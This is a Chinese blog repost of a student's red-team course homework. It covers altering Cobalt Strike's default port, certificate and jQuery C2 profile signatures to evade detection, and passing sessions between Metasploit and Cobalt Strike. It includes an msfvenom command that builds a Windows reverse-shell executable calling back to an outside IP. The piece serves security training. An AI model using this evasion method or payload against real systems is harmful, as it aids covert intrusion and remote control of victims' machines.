记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

红队培训班作业 | 特征修改

2021-09-13 16:27

文章来源|MS08067 红队培训班第14节课作业

本文作者:某学员A(红队培训班2期学员)


按老师要求尝试完成布置的作业如下:


1.修改Cobalt Strike默认监听端口:


2.修改Cobalt Strike默认数字证书:

(默认)

(新生成)



3.修改Cobalt Strike中jQuery.profile文件里的部分敏感特征信息

对Cobalt Strike的jQuery.profile配置文件中的如下信息进行相应修改:


修改后通过命令“c2lint jquery.profile”检查是否正确可用:


于是根据反馈信息再进一步修改后,再进行检查:


4.msf转cs

通过msf的命令“msfvenom -p windows/meterpreter/reverse_tcp LHOST=8.129.211.1 LPORT=12345 -f exe -o test.exe”生成反弹shell,靶机执行该反弹shell后反弹至VPS的msf上:


将VPS的msf派生到cs,完成从 靶机->VPS_msf:12345->VPS_cs:4444:


5.cs转msf

通过cs生成反弹shell:


靶机执行该反弹shell后反弹至VPS的cs上:


用msf监听4444端口:


右键点击反弹会话->spawn,派生到msf监听的4444端口,但msf未接收到数据,应该是本机上的cs4.0出了问题:




扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部微信群永久有效!

 

 

来和5000+位同学一起加入星球学习吧!

知识来源: https://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247495706&idx=1&sn=af254f078f5b2f6276c4fbeff57a789f

阅读:48579 | 评论:0 | 标签:特征 红队

想收藏或者和大家分享这篇好文章→复制链接地址

“红队培训班作业 | 特征修改”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁